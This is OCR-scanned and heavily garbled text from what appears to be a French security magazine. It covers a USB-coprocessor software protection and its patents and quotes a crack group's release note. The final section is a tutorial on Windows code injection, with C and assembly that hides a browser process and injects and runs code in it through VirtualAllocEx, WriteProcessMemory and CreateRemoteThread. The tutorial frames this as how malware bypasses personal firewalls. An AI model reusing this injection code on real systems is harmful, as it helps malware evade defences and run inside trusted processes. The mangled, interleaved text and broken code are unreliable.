dont il serait impossible de faire sauter un seul maillon. Cela permet donc de
vérifier efficocement ['intégrité du code protégé ainsi.

(ette vérification intrinséque de I'intégrité du code posséde des opplications
ou deld de lo protection contre lo copie.

comportement du pregramme
et créer une incohérence qui
tera détectee.

9. Détection et coercition

Un systéme de protection
n'est réellement efficace que si
l'on peut s'assurer que le pro-
gramme, et en particulier les
parties relatives a cette pro-
tection, s'exécute tel que cela
etait prévu. On sait par exem-
ple quelles opérations sant
possibles sachant qu'une varia-
ble d'etat est i telle valeur
(contrainte du modele de la

GUI, par exemple). On peut
donc prévoir assez preécisé-
ment, 4 la compilation, les
enchainements
Ainsi, si
voyions dans le paragraphe

autorises.

comme nous le

précédent, une variable est
modifiee dans
mémoire du programme pro-
tégé pour modifier le compor-
tement de celui-ci, cela entrai-
nera un enchainement incoheé-
rent.Voir I'encadré sur les tags
la protection mutuelle pour
comment cela est
detects,
D'autres
étre mise en oeuvre manuelle-
ment : par exemple
compteurs empéchant de
répéter une action plus d'un
certain nombre raisonnable

I'espace

Woir
controles peuvent

des

de fais, pour géner certains
tests systématiques que pour-
rait vouloir entreprendre un
attaquant. Tant que le copro-
cesseur est indispensable a
l'exéeution du programme, il

garde le pouvoir de l'arréter a
tout moment, sl une tentative
d'attaque est détectée, ou
méme de se désactiver totale-
ment pendant quelques minu-
tes ou quelques heures, voire
de s'auto-détruire.

6. Branchement conditionnels
cachés

Enfin, du fait que I'on peut uti-
liser des variables d'état com-
pletement cachées a ['utilisa-
teur, et comme il est trés diffi-
cile de détourner le déroule-
ment du programme sans que

Brevet logiciel ?

| dépendant de

ce ne soit détecte, on peut
cacher des parties impor-
tantes de la structure logi-
que du programme a l'inté-
rieur du coprocesseur.
Méme si les branchements,

au final, sont visibles sur le

| PC, il est trés difficile d'en

déduire les causes exactes,
surtout s'il y a des cas de
figures particuliers et rares
variables
cachées. On ne peut pas
non plus interférer avec ces
branchements sans que ce
ne soit détecte.

Il suffit de lire les différents brevets correspondants o ces six points (dispe
nibles sur hitp://wwew.validylicensing.com/) pour comprendre que si ces

idées sont déposées, elles ne le sont que dons le strict contexte d'un procéde
industriel précis : lo fobricotion d'un dispasitif de protection. On voit qu'il
serail absurde et abusif de revendiquer I'exclusivité sur 'une ou l'outre de
ces idées prise hors de ce contexde - or ¢'est précisément ce que voudraien!
pouvair faire les defenseurs des brevets logiciels, heursusement encore irre-
cevobles en Europe pour |'instant. h: ol

-I-.l FOreEvE LSO ICIEs.Ir o




T )

S S =

e ——
e
—

Au final, cette protection reste
un simple coprocesseur gene-
rique, avec un jeu d'instruction,
des registres et une memoire,
que le développeur de logiciels
peut utiliser. Il dispose d'un tas,
et d'une pile. Il a méme la pos-
sibilite  d'implémenter des
threads, ou de « swapper »
de maniere chiffréee certaines
données sur l'ordinateur.
Dans la plupart des cas, cepen-
dant, il n'a pas a s'embéter avec
ces détails, Comme on I'a vu
en encadré, le développeur n'a
qua designer dans son code
des parties sensibles a depor-
ter sur le coprocesseur. Un
compilateur a été développé
pour transformer du bytecode
Java ou .NET margque par le
développeur en un nouveau
programme utilisant le copro-
cesseur via USE et les princi-
pe: que nous avons decrits
plus haut.

Lors du developpement, un
emulateur et une cle de test
peuvent ecre utilises, Mals il est
ensuite neécessaire de faire
intervenir la clé secréte du
coprocesseur cible, puisqu'il
faut chiffrer une partie du
code. Afin d'eviter les fuites, on
peut faire en sorte que le
développeur ne connaisse
jamais cette clé, a l'aide juste-
ment de ['un de ces dispositifs.
Le fabriquant fournit des
coprocesseurs pour les utilisa-
teurs ainsi qu'un coprocesseur
@ maitre », dans lesquels le

programme demulation de la
WM a été chargé, mais qui ne
sont pas encore « personnali-
ses », c'est A dire que la cle
secréte n'y a pas encore ete
chargee. L'editeur de logiciel

charge dans le maitre la clé
{gui peut etre tiree au hasard)
afin de le personnaliser. Clest
ensuite ce copracesseur qui
est alors chargé de chiffrer les
instructions a la demande du
compilateur. C'est aussi lui qui
est charpé de transférer la clé
sur les autres coprocesseur. 5i
le protocole est bien fait et
utilise de la cryptographie a
cle publique, persanne ne
connait cette clé.

Autres applications

brace a la protection
mutuelle, on peut s'assurer
quaucune partie protégée du
logiciel ne pourra érre
contournee sans géner |'exe-
cution du reste. Cela permet
dutiliser de la cryptographie
|2 ou ce ne serait pas fiable
narmalement. On peut par
exemple implémenter grice
au coprocesseur des mecanis-
mes de signature, d'authentifi-
cation ou de chiffrement theo-
riqguement inviolables, parce
gue les clés n'apparaitra jamais
en clair sur l'ordinateur et
parce que les calculs crypto-
graphiques ne seront pas
medifiables ni contournables.
Cela peut-étre particuliére-
ment utile dans des modéles
client/serveur, notamment
pour les jeux en ligne.

Dans certains cas, le dévelup—
peur peut cheisir dutiliser
plus finement le dispositif, au
dela de ce gui est gére auto-
matiquement par le compila-

teur. Certaines boucles peu-
vent etre protegees a laide de
compteurs vérifies sur le
coprocesseur. On peut aussi
implementer un chronome-
trage afin de s'assurer que le

e ———

délai entre deux appels au
coprocesseur n'excede pas un
certain seuil (afin de détecter
une interruption du
gramme

pro-
mode pas a pas,
detournement, erc.). On peut
meme imaginer un watchdog
qui redémarrerait |'ordinateur
cible si une ressource n'est pas
sollicitee periodiquement - ce
gui indiguerait un dysfonction-
nement du programme, ou
pire : que son exécution a été
detournee, par exemple a
cause d'une faille de securite.
Il est aussi possible de conce-
YOIl UN COProcesseur avec une
petite mémeire de masse per-
manente. On peut ainsi mémo-
riser de maniére fiable des
compteurs (bridage), des clés,
BtC.

Il est aussi possible, avec ce
modéle, de protéger plusieurs
programmes avec le méme
périphérique, au lieu d'utiliser
plusieurs periphériques en
meme temps.

SHver ket 7

Cette protection semble reel-
lement difficile a casser en
general. D'aprés nos informa-
tions, son principe est relative-
ment similaire 3 la derniére
protection
Steinberg pour son logiciel
Cubase pour PC : on a égale-
ment un coprocesseur
externe, des tags, etc,

Voici un extrait du texte
accompagnant l'une des relea-
ses illegale du logiciel, donnant

developpee par

quelques informations sur les
efforts qui ont été neécessaire
au cassage de la protection :

« We admit that it's getting
harder and harder to do and

this one may possibly be the

last one we do. Due to the
complex nature of the protec-
tion we thought of approa-
ching it from another direc-
tion. The Emulation

s now
done on driver-level, which
means that the Emu essentially
mimics a dongle, lock in the
License Control Center to
view the applications the Emu
supports. By writing the Emu
at driver-level we probably
went beyond cracking an appli-
cation. The amount of effort
invested in this project is stag-
gering , estimated at over |500
manhours during cracking,
developing & testing, and pro-
bably will never be done again.
We hope u enjoy this release
and the motto "if u use it alot
then buy it!" applies

Mote to protection coders :
Unbelievable way you trans-
form an application. We esti-
mate that between 30% & 40%
of the application are wrapped
in the script protection.
Protection is one thing but this
surely effects an application
performance. You probably
could get a performance gain
of 50% without the protec-
tion!! »

En substance : c'etait si difficile
— pres d une année de travail —
gue cela ne vaudrait probable-
ment pas le coup d'étre réi-
Leré.

Il serait surprenant cependant
gue les meme methodes de
cassage puissent etre utilisees
dans le cas de |la protection

présentées dans cet article. La
protection de Cubase serait
plus complexe par certains
cotés (le coprocesseur etant
plus complexe, et le systéme
n'étant pas ouvert), mais reste




Protéger des ocuvrers ?

Heureusement, nous ne sommes pos prés d'aveir besoin d'une dé USB pour
ecouter de lo musique. Il serait en effet inapproprié d'utiliser cette techno-
logie pour implémenter un DRM (digital right managment - les protections
sensées empacher, enfre autre, lo copie de contenus multimédias). Elle
repose en effet sur des principes qui ne fonclionne que si le progromme
protégé réogit differemment a chague utilisation. Dons le cos d'une oeuvre
numeérique ou sens fredifionnel du terme, qui por définition est invariable,
on peut emuler le coprocesseur de maniére Iriviale (il suffit de mémariser,
puis de rejover dans le méme ordre les réponses du coprocesseur).

De plus, il sero toujours possible d'intercepter les nppels bas niveou qui res-
fifue Ie son ou I'imuge, afin de dumper le cantenu profege. ("est pour cefte
roison que ces protections n'ont d'ailleurs aucun sens.

peut-etre plus friable par d'au-
tres. Le fait qu'il soit question
d'émulation du dongle semble
indiguer que la confidentialite
du code execute en externe de reéaliser un
ait ete compromise. On a
cependant une estimation du
temps qu'il faut pour briser un
modele de protection de ce
genre,

Il faur noter que la grande dif-
férences entre ces deux pro-
tections est que |'une est spé-
cifigue et l'autre génerique. La
protection dont Il est question
ici est en effer davantage un
framework pour le dévelop-
peur. Et c'est un probléme.

Faiblesses
En effet, de la méme maniere
qu'un algorithme cryptographi-
que reconnu peut-étre mis en
oeuvre de maniere non fiable
par un developpeur non averti,
cette protection peut étre utili-
see maladroitement, entrainant
des bréches imprévues.

D'autre part, on a vu aussi que
la sécurité du tout reposait
sur la clé secrére contenue

ce

dans le péripherigue. On peut
craindre que de nouvelles
attaques cryptographiques ou

méthodes d'analyse de com-
posants puissent en venir a
bout d'ici quelques années. lI
serait alors relativernent facile
émulateur.
Cependant, il faudrait récupé-
rer la cle propre a chaque logi-
ciel ou version de logicielle
queon voudrait cracker. De
plus, il est facile de changer
d'implémentation ou de sup-
port physique pour contrer
ces attagues a moyen terme.

n'est pas forcement évident
d'identifier des portions de
code a déporter sur le copro-

cesseur, qui soient a la fois
indispensable a I'exécution du
programme, si possibles appe-
lees periodiguement, mais pas
assEZ souvent pour entrainer
des pertes de performance.
L'USE a l'avantage d'étre tres
répandu et bon marché, mais

implique un latence impor-
tante qui va retarder sensible-
ment chaque interaction entre

l'ordinateur et le coproces-
seur, On peut bien sir utiliser

rions

Quelquers questions aur avteurs

dvrasp : Nous aimons a rappeler qu'il y a des étres humains
derriére la

technologie. Pouvez-vous présenter succinctement le noyau
dur du projet?

Jean-Christophe Cuencd : Linvention est une co-inven-
tion entre Gilles Sgro et moi-méme.

Mous avens des compétences compléementaires, Gilles est plu-
tot le creatif et moi j@ mets en forme. ..

Pendant toute la durée de la rédaction des brevets nous som-
mes restés seuls, excepre évidemment le conseiller en brevers

qui nous a enormement aide et a qui on doit tirer un grand
coup de chapeau.

Ensuite nous avons un peu étoffé 'équipe, et la personne sup-
plementaire la plus significative est Christophe Vedel. Il nous a
amene une competence compilation qui nous manguait cruel-
tement. Il a ecrit les compilateurs Java et .NET pour le jeton
sans compter la plupart des programmes annexe,

(vous pouvez voir en quelques lignes nos parcours i lavant-
derniere page du document « validy_un_enjeu_mondial pdf
% SUr notre site)

dvrasp : Vous semblez avoir fait des efforts pour que les
pertes de performances ne pénalisent pas votre protection.
Est-ce que votre prototype LUSB vous a déja permi de réaliser
quelgues mesures sur des applications complexes ?

Mais les limitations principales
de cette protection concer-
nent plutdt les performances
du logiciel protégé. En effet, il

J-C Cuenod : Mous faisons une distinction importante
entre 'invention i proprement parler, et sa mise en 'uvre.
Mous avons réalisé ce que nous considérons étre un «
demonstrateur » qui montre gque toutes les pieces nécessaire

du puzzle sont realisable. Le jeton dont nous disposons actuel-
lement a cependant tellement peu de mémaoire qu'il n'y a
meme pas possibilite de mettre en place le multithreading et
la virtualisation, Du coup, la plupart des efforts a faire pour
protéger un programme impertant serait de s'assurer
constamment que la protection ne déborde pas des ressour-
ces physique du jeton, c'est a dire travailler sur des problémes
connus dont la communaute informatique c'est affranchi
depuis ~50 ans, Et comme nous avons des ressources limitées
se battre contre ces problémes « transitoires » n'a pas éte
dans nos priorites ...

MNous sommes par contre en pourparlers avec des fabricants
de micro-contraleurs sécurisés pour qu'ils nous fournissent
{au bescin en les fabriguant exprés pour) des jetons bien
adaptés a cette application.

Mous sommes aussi en pourparlers avec des fabricants de
carte a puce, car c'est eux qui ont traditionnellement le savoir
faire de lecriture de firmware securise pour ces micro-
controleurs. Il est possible que nous collaborions avec eux sur
une version plus « industrielle » de la VM et des foncuons
annexes qui I'entoure.

mode de communication

dvrasp : Yous avez des le depart, je crois, voulu concevoir un
modéle de provection cuvert. Outre les avantages technigues,
voyez-vous dans cette approche un argument commercial tan-
gible !
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® Starforce
® SafeDisk
® SecuROM

® TAGES protection

#® SecuROM protection

#® star-force

# SecuROM OR SecurROM
& tapes securom starforce

d'autres modes de cormmuni-

cation lorsque les performan- |

ces sont importantes. Cela
impliqgue cependant un colt
plus important.

Pour

a certains types de logiciels,
comme les plugins multimedia
ol la presque totalité du code
a proteger se doit d'étre effi-
cace, |l peut étre egalement

le grand public, ce |
modéle semble donc inadapté |

problématique de protéger
efficacement un jeu vidéo
d'action, dans lequel un lag de
quelques millisecondes peut
donner un avantage non négli-
geable a 'adversaire. Ces per-
tes de performance peuvent
d'ailleurs étre aggravées lors-
que plusieurs protections du
méme types cohabitent sur le
méme PC.

Mais ces problemes, probable-
ment selubles, relevent plus de
lingénierie que de la sécurité
informatique.

Merci aux differentes person-
nes qui m'ent aidé 3 mettre en
perspective ce sujet !

el

Plus d'information sur cette
techologie : http:/fvalidyfr/

J-€ Cuenod : l'essentiel du marché que nous visons n'est
pas vraiment la protection contre la copie mais plutér la pro-
tection de |integrite des logiciels. Pour ce genre d'application,
le client ne peut pas se satisfaire de la moindre zone d'ombre
et ne peut en aucun cas faire confiance au dire de son four-
nisseur. Il doit absolument étre capable de tout vérifier par lui
méme ou de faire tout vérifier par des experts de son choix.
En face de la gquestion : « pourquoi peut on vous faire
confiance ! » je ne me vois pas répondre :« je ne peux pas
vous repondre mais croyez moi. »

dvrasp : Enfin, quels types de logiciels pensez-vous ou vou-
driez-vous voir protégés avec votre systeme, dans un future
proche !

J-€ Cuenod : Quelques pistes sont :

#® La protection des systémes de securite. lls batissent en effer
souvent sur du sable car ils peuvent difficilement garantir
qu'ils ne sont pas eux-méme compromis.

® Les systémes embarqués. Nos maisons, nos voitures, ...
sont de plus en plus bourrés de systémes embarqués auxquels
nous deleguons de plus en plus de taches critiques. En cas de

mal-fonction le constructeur est de plus en plus souvent
appele en responsabilite. 5'assurer que son électronique ne

peut pas étre bidouillée devient done important.

Le brevet n'est pas la maniére la plus lisible de decrire une technologie, cependant nous vous encourageons 4 parcourir ceux-ci,
parce qu'ils donnent une idée du travail & fournir pour lancer ce genre d'invention.
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L.a préscnie invention concerne le domaine lechnigue des systémes de caitement
de données au sens général et elle vise, plus précisément, les moyens pour protéger,
conire son wilisation non aulorisés, wn logicie] fonctionnant sur lesdin eysibmes de
trailement de domndes,

L'objet de Iinvenfion vise, plus particulibrement, les movens pour protéger un
logiciel contre son wtilisation non autorisée, & partir dune unisé de mémorisation ou
dune unité de raitemnent ef de mémonsation, une tells onité éamt communément
matérialinde par ume carte & poce ou par une ¢lé matérielle sur part USB.

Dans le domaine technique ch-dessus, le principal inconvénient concerme
Templol non sutonsé de logiciels par des utilisateurs n'ayant pas acquitté des droits
de licence, Cette uiilization illicite de logiciels cause un préjudics manifiste pour =
Editeurs de logiciels, les dsinbulesrs de logiciels eifou foute personne intégrand de
tels logiciels dans des produits. Pour éviter de telles copies illicites, il n éé proposd
dans Métad de Le technique, diverses solutions pour protéger des logiciels.

Ainsd, il est coony une golution de protection consistant & metire en oeuvre un
systeme matéricl de protection, tel gu'un élément physique appelé cié de pro‘ection
ou “demgle® en terminologie anglo-saxonne. Une telle clé de prolection dewsil
parantir exéetion du logiciel uniquement er présence de la clé. Or, il doit &ere
constuld quiune felle solubion et inefficace car elle présente Fincomvénient dére
fecilement coatournable. Une personne mal intentionnée ou pirate pewl, & Iaide
doutils spécialisés, 1els que des désassembleurs, supprimer les instroctions de
canirile de la clé de protection. 11 devient alors possible de réeliser des copies
Mmﬂnlldﬂﬁﬁmmﬂiﬁﬂudﬂhﬁnﬁ:hﬂfﬂlpﬁlm
protection. De plus, cetie selution ne peut pas dtre pinéralisée & tous les logiciels,
dars In mesure od il est difficile de connecter plus de deux clés de protection sur un
mekme systéme:

L'objet de linvention vise justement & remédier suz incomvémients énoncés oi-
dessus en proposant un procédd pour protéger un logiciel contre son wilisation aon
nutorisée, & partir dune unilé de mémnorisstion ou Cupe unilé de aitement o de
mémorisation sd hoc, dons ls mesure of 8 prépence d'une 18lle unité &5t ndcessaine
pour que b logiciel soit sompléement fonctionnel.
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"es! ginsi que lo journée, vous découvrirez les stands de nombreux professionnels de I'informatique ef de lo sécurité. lls vous exposerons

leurs matériels, leurs logiciels e leurs travaux. Egalement, tout ou long de la journée, vous pourrez assister @ de nombreuses conférences

tenues par des spécialistes de lo sécurité, qui vous décrirons certaines techniques de piratage ef démontrerons |'importance de lo mise en
place de dispositifs pour enrayer les attaques. Lo cryptographie et lo confidentialité des données, 'importance de o sécurité et les méthodes d'at
togue couranies se trouvent entre autres au sommaire des conférences.

Ensuite, le jour lnissera ploce o Pobscurité el ou chollenge : par équipe de cing, les concurrents se frotteront o des systemes crées, securises ef mis
en place por les orgonisateurs. Leur unigue but : frouver les quelgues Failles loissées ¢a et la, et les utiliser pour morquer des points. Les debutants
comme les plus avertis pourrons s'ottaquer aux mulliples épreuves des differentes colégories (sécurité applicative, séeurité réseau, sécurité web,
glt) et mini-tournais, eux aussi générateurs de points, au cours de la nuit. Mais aftention - seul le meilleur d'entre ex repartira avec l'utlime récom:
pense : un voyage, fous frais payés, pour la DEFCON, gigantesque rencantre annuelle ois se concentrent les plus grands acteurs et spécialistes de
séturité informatique, le fout @ Los Vegas, I'é1é prochain.

| Entrées :
Etudiants - 10 Euros ' ‘ ‘
Autres : 100 Furos

Vous voulez exposer ? Contoctez-nous

Préinscriptions et autres informations :
contactez Koreth@thehackademy.net
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infection de pracessus en

cours d'exécution consiste

a executer du code dans le
contexte d'un autre processus.
Il existe deux moyens d'y par-
venir : l'injection de DLL et l'in-
jection de code. Ces deux
méthodes sont utilisées par les
developpeurs de programmes
malveillants pour centourner
les pare-feux personnels. Les
pare-feux personnels générent
une liste de processus de
confiance. || sagit des proces-
sus autorisés par l'utlisateur a
acceder a Internet. En infectant
un processus de confiance, les
programmes malveillants peu-
vent acceder a Internet sans
érre bloqués par le pare-feu
Lors d'une injection de DLL,
l'infecteur va forcer un proces-
sus de confiance a charger une
DLL; une fois la DLL chargee
dans ['espace mémaire du pro-
cessus cible, elle peut effectuer
type de tache.
L'inconvénient de  cette

tout

meéthode est [a DLL elle-méme
: elle doit accompagner linfec-
teur pour etre executee par le
processus cible,

La seconde metheode, linjec-
tion de code, n'a pas cet incon-

=A==

—\v4

niection te proces

Injection de code srur Windows

Cet article permet de mettre bout a bout et dans une pers-

pective pratique une série de techniques actuelles, mettant
en évidence certains aspects internes importants de
Windows. Les exemples aideront également le lecteur a
comprendre certaines particularités de Visual Studio.

vénient, étant donné que le
code est directement injecté
dans le processus et na pas
DLL.
Recemment, les developpeurs
de programmes malveillants

besain d'une

ont adopte l'injection de cade,
cette methode etant plus fur-
tive que l'injection de DLL.
Dans cet article nous étudie-
rons l'injection de code au tra-
vers d'un exemple. D'abord
NOUS VErrons comment injecter
et exécuter une fonction dans
Un autre processus, puis nous
nous pencherons sur la creation
de la fonction a injecter.

L injecter une fonction dans
i Lire Processus

Maus allons créer un exécuta-

ble appele process injecter,
qui va injecter le code dans le
processus cible. Process_injec-
tor opére en trois étapes |

— premierement, il va lancer le
precessus cible avant d'y injec-

ter le code. Vous pouvez ouvrir
un processus existant si vyous
pas
process_injector cree le pro-
cessus cible ;

ne voulez que

® deuxiemement. dans la

memeire du processus cible, il
va allouer de l'espace pour le
cade et l'injecter ;
® troisiemement, il va execu-
ter le code injecté.

A present examinons chaque
atape en détall,

11 Lancer le processus cible
Il est important pour les déve-
loppeurs de programmes mal-

veillants de choisir une cible
autorisée a accéder a Internet
par le pare-feu. C'est pour cela
qu'ils choisissent habituelle-
ment le navigateur. Nous en
ferons de méeme. Afin de déter-
miner le navigateur par défaut
et trouver le chemin de son
fichier exécutable, nous allens
lire la valeur de la clé de regis-
tre suivante :

HEEY_ CLASSES ROOTV\htmlfileiwshelll
openicommandidefaulc

Voici une fonction qui va lire pour nous le chemin du naviga-

teur par défaut :

ichar *browserPath,

dwBuflen) |

ASSES _ROOT,

Yhwopenh hocommand ®

int GetBrowserPath
CWORD

HEKEY hkey:
_TCHAR * pos;
Lr‘.: end;

-iRJﬂHFth_TEK HEEY CLA

*htmlfile\yshell)

KEY QUERY_ WVALUE, &hkey) ]

| =ERROR_SUCCESS)

Eerurn =1;
if {(RegQueryvalueEx (hkey,"",

NULL , NULL,

l= HRRUR
|| (AwBuflen =
return -1;

SEQWSESar
fffing

OoS=_tosrchr |

the last
DEOWS
n "r""--.'.._-""l'P-l. ].'

F
enc={1nkt]

ffterminatre the
orowserbPath[end] ="
RegCloseKey (hkey) ;

return 0;

S

'. _|PB1:I:P- b Drowse T_""-:=.|

SUCCESS

Path[BUFFSIZE

grBPath, *4%" "

string after
N R

h, 5dwBufLen) )

BUFFSIZE) )

{pos-browserPath+l) ;

rhe laage ™




Certte fonction regoit un tam-
pon et sa longueur comme
parametres et remplit le tam-
pon par le chemin du navi-
gaeur par defaut. La fonction
renvoie -1 en cas d'erreur et 0
en cas de succes.

Maintenant que nous aveons le
chemin du fichier executable
du navigateur, nous devons
'exécuter. Pour cela nous
allons utlliser CreateProcess().
Create Process () va aussi
nous donner un handle du
processus créé. 5i vous ne vou-
lez pas executer le processus
cible vous pouvez utiliser a la
place QOpenProcess () afin
d'obtenir un handle du proces-
sus cible

Yoici la fonction qui va creer le
processus :

int MyCreateProcess |

char ¥*path,

PROCES

A

INFORMATION *

Cette fonction recoit le che-
min du fichier executable et un
pointeur vers une structure
PROCESS INFORMATION
comme parametres et remplit
la structure,

Camme vous pouvez le voir
dans le code nous avons utilise
WaitForlnputldle() a la suite
de CreareProcess () afin de
donner au processus e temps
d'achever son initialisation et
de se stabiliser. Maintenant que
le processus tourne et que
nous disposons d'un handle du
processus (dans la structure
PROCESS INFORMATION]),
nous pouvons passer i ['étape
sulvante,

1) Injecter le code
Mous allons d'abord allouer de

pifProcessInfo)

STARTUPINFO siStartupInfo;

memset (&=iStartupInfo, 0,

sizeof (siStartuplnto))

siStartupInfo.cbh -
gizeof(siStartuplinfo

/fthis walue must

e

be uszed to

Slactivarte wShowhilinoow

gistartupIinfo.dwFlags =

¥

return -1;

flwe will waik fo

STARTF_USESHOWWINDOW ;

JfWe hide the browser's windows
giStartupInfo.wShowWindow=5wW_HIDE;
if( (CreateFrocess(l
false, CREATE_DEFAULT_EEROE_MODE,
,0,&sisStartupInfo,
piProcessInfo) j==0) {

-“.“.|T||| }-:latn.- 1 r U r

L]

LTie process Lo load

la memoire dans l'espace mémoire du processus cible en utilisant
Virtual AllocEx(), puis WriteProcessMemory() pour copier notre
cade dans la mémoire qui lui est allouée,

Voici la fonction qui accomplit cette tache ;

LEPvO1lD

InjectFunction
HANDLE hFrocess,
LPCVOID funcg,SIZE_T funcsize) |

f/{ pointer that hold the address of tThe

allocated memory

vold * address:

& T numofbyreswritten;

// now we will allocate memory in the

address space of the new process (the
r)

SIEE
{
default Dbrowse
1f({ laddress=VirtualAllocEx{

hProcegs, 0, funcsize, MEM COMMIT ;

PAGE_EXECUTE_READWRITE) ) ==NULL)

return (LPFVOID)-1;
i
ff owe copy our function func{}) to the allo-
cated memory in the browser process
if i (WriteProcessMemory (
hProcess,
address, fune,
FUMNCSIZE,
snumofbyvteswritten) ) ==0} {
return (LEVOIDY-=-1;
I
'/ we return a polnter to the address
where the code has been injected
recurn address:

=1l

if{iWaitForInputI
pLProcessIinfo->nProcess,
10000} ) =kRATT FATILFD) {
return -1;

le

raeturn {:

Cette fonction prend un handle
du precessus cible, un pointeur
vers la fonction et |a taille de la
fanction comme argument. Elle
renvoie -| en cas d'erréur, et un

ponteur  vers  [|'addresse

mémoire ol le code a eré
injecte en cas de succes. Il est
important de remarquer gue
nous avons utilise PAGE_EXE-
CUTE_READWRITE comme

protection de la memoire dans
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VirtualAllocEx() afin de pouvoir
ecrire du code dans [‘espace
memoire alloué et de l'exécu-
ter plus tard.

3) Exécution

du code injecté

Etant donné que notre code se
trouve déjd dans la mémoire du
processus cible, nous pouvons
utiliser CreateRemoteThready()
pour créer un nouveau thread

dans le processus cible. Nous
allons donner 'adresse du code
injecté comme adresse de la
routine de démarrage a
CreateRemoteThread(). Mous
passons également l'adresse od
le code a éré injecté comme
paramétre a la fonction de
demarrage du nouveau thread;
mais comme vous le verrez plus
tard nous n'utiliserons pas ce
parametre.

Voici la fonction WinMain de process_injector :

int WinMain(HINSTANCE
ALINSTANCE

LPSTR

hInstance,
hPrevInstance,

lpCmdline,

int nCmdShow) |

int

1Nt MyCreateProces

char *path,

GetBrowserPathichar =

browserPath,

DWORD dwBufLen) ;

8 |

FROCESS INFORMATICN * piProcessInfo):

LPVOID InjectF
HANDLE
LPCVOID

SIZE_T

unction(
hProcess,
func,

funcalze) :

char browserPath|[BUFFSIZE];
DWORD dwBufLen=BUFFSIZE;

int a;
void * address:
DWORD remoclLeThreadId:;

d=GetBrowserPath (browserFath, dwBuflLen) ;

PROCESS_

[NFORMATION piProcess

Info:

memset (&piProcessinfo,
0, sizeof (piProcessInfo));

a=MyCreateProcess (browserFatch,

address=

i

CreateRemoteThreadl|

(LPTHREAD
address

0
! g |

EremoteThreadld)

CloseHandle (piProcess

&piProcessInfo);

InjectFunction{piProcessInfo.hProcess,
Lfunc, FUNCS

// we create a new thred
process by specifyving the address of
func as the start

piProcessInfo.hProcess, NULL, 0,
_START_ROUTI

in the browser

routine

El address,

Info.hProcess) ;

E‘_'
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Ii. Création de la fonction
a injecter

Dans cette section nous allons
ewudier une méthode permet-
tant de creer la fonction qui
sera  injectée par e
Mous allons
utiliser Microsoft Visual Studio

process_injector.

2003 ainsi que le profil debug
pour compiler notre code.
Vous wvous demandez sans
pourquoi nous ne
créons pas une fonction nor-

doute

male pour ['utiliser ensuite
dans  process_injector !
Jespére que le format de
fichier PE wous est familier.
Lorsque vous faites un appel
APl dans votre fonction, étant
denné que l'adresse de la fonc-
tion APl n'est pas connue lors
de la compilation, le compila-
teur génére un code qui utilise
la table d'importation (impart
table) pour chercher l'adresse
de la fonction APl et |'appeler.
Le chargeur YWindows remplit
la table dimportation d'un
exécutable en méme temps
quil le charge. Quand le pro-
Cess_injector sera exécuté, le
chargeur Windows remplira sa
table d'impeortation avec
I'adresse courante des fonc-
tions importees dans |'espace
mémaire du pracessus du pro-
cess injector Motre fonction
qui fait partie de
process_injector va chercher
I'adresse des fonctions APl ou

dautres fonctions importées
dans la @ble d'importation de
process_injector. Comme

nous allons injecter notre
fonction dans un autre proces-
sus, elle n'aura pas accés 3 la
table d'importation de pro-
cess_injector (Iadresse de la
table d'importation pointera

vers gquelgue chose dautre
dans le processus cible), et
donc ne pourra pas appeler les
fonctions APl. Clest la notre
premiére  difficulté; nous
devons trouver une salution
afin d'obtenir l'adresse des
fonctions APl dans ['espace
mémoire du processus cible.
La seconde difficulté réside
dans l'utilisation de chaines ou
d'autres structures de don-
nees. Les données ne sont pas
stockees dans la méme partie
que le code; donc, 5i le code de
la fonction est copié dans le
processus cible, les données ne
le sont pas. Copier les don-
nées ne résoudra pas notre
probleme car le compilateur a
code en dur les adresses des
données, et CoOMMe Nous Nous
trouvons dans un autre pro-
cessus, les adresses sont diffe-
rentes. Nous allans définir une
méthode et des régles i res-
pecter afin de creer des fonc-
tions qui pourront etre injec-
tees sans probléme, Etant
donne que les variables locales

(dans wune fonction)

sont
créees sur la pile, nous n'au-
ront aucun probleme avec les
variables locales définies dans
la fonction. Motre fonction ne
doit reposer sur aucune varia-
ble définie en dehors de la
fonction. Nous allons com-
mencer par résoudre le pro-

bleme des appels API.

Charger des librairies
et appeler des fonctions

Cans des programmes nor-
maux nous pouvons utiliser
LoadlibraryA{) pour charger
une DLL et GetProcAddress()
pour trouver |adresse d'une

fonction dans la DLL chargée.



Le probléme est que ces fone-
tions se trouvent dans ker-
nel32.dll et comme vu prece-
demment, NoOUs Ne poUvons
appeler des fonctions situées
dans des DLL i partir du code
injecté. Kernel3ldll est charge
dans l'espace d'adresse de tout
processus fonctionnant  sur
Windows 2000/XP/2003. Mous
devons trouver [adresse de ker-
nel32.dll dans I'espace d'adresse
du processus cible et ensuite
chercher l'adresse de
LoadLibraryA() et
GetProcAddress() dans sa table
d'exportation. Aprés cela nous
pourrons utiliser ces fonctions
pour charger nimporte quelle
DLL dans l'espace méemoire du
processus cible et appeler ses
fanctions.

Comme il a été démontre par
le groupe L3D dans leur article
« Win32 Assembly compo-
nents %, le registre FS pointe
sur le TEB, et l'offset 0x30 du
TEB pointe sur le PEB (Process
Environment Block). A l'offest
0x0C du PEB on trouve un
pointeur vers le
PEB_LDR_DATA. A [loffset
0x|C de PEB_LDR_DATA se
trouve la structure
IninitializationOrderModuleList
. Cetre structure est une liste
dont chacun des noeuds

contient des informations sur
une DLL chargée. Cete liste
respecte lordre dinitialisation
des DLL. La premiére entrée de
cette liste décrit nedlldll et a

kernel32.dil.

seconde décrit
L'adresse de base est stockée a
l'offset 0x08 de chaque noeud.
Mous allons lire 'offeer 0x08 du
second noeud pour obtenir
I'adresse de base de kernel32.dIL

Voici le début de notre fonction injectée qui effectue les opéra-

tions décrites ci-dessus :

// this function will be injected to the

Process

static

DWORD WINMAPI funci

LEVOID lpParameter) {

__asm {

// indicate the beginning of the injec-

ted caode.
startC:

}

f/ (the function prologue)

Ox0c byvtes

will he

added before this by the compller
DWORD kernel3Z_base_address=0;

CWORD base=0;

_asm {

/4 we will use the LSD method to find

LoaLibraryal()

functions that

anda
and we will use them to

GertProchAddress i)
find other

we need First we

should found the kerneli2.dll

J/ kernel3z2.dll is
laaded

XOr eax,eax
f/ FS:[0x30]
moyv eax, fs:[0x30]
test eax,eax

ja find_kernel3id_ 5%

find kernelidZ_nt:

che

in every process

gecond module

is a peinter to the PEB

//PEB+ 0Oxc is the _PEB_LDR_DATA pointer

mowv eax, [eax+0x0a]

//_PEB_LDR_DATA +0xlc 1i=

load order

module list pointer

mov esi, [eax+0xlc]
lod=sad

//base address ol

mov eax, [eax+0x086]
jmp kernelli_found
find kernel32_ Sx:

mov eax, [eax+0x34]
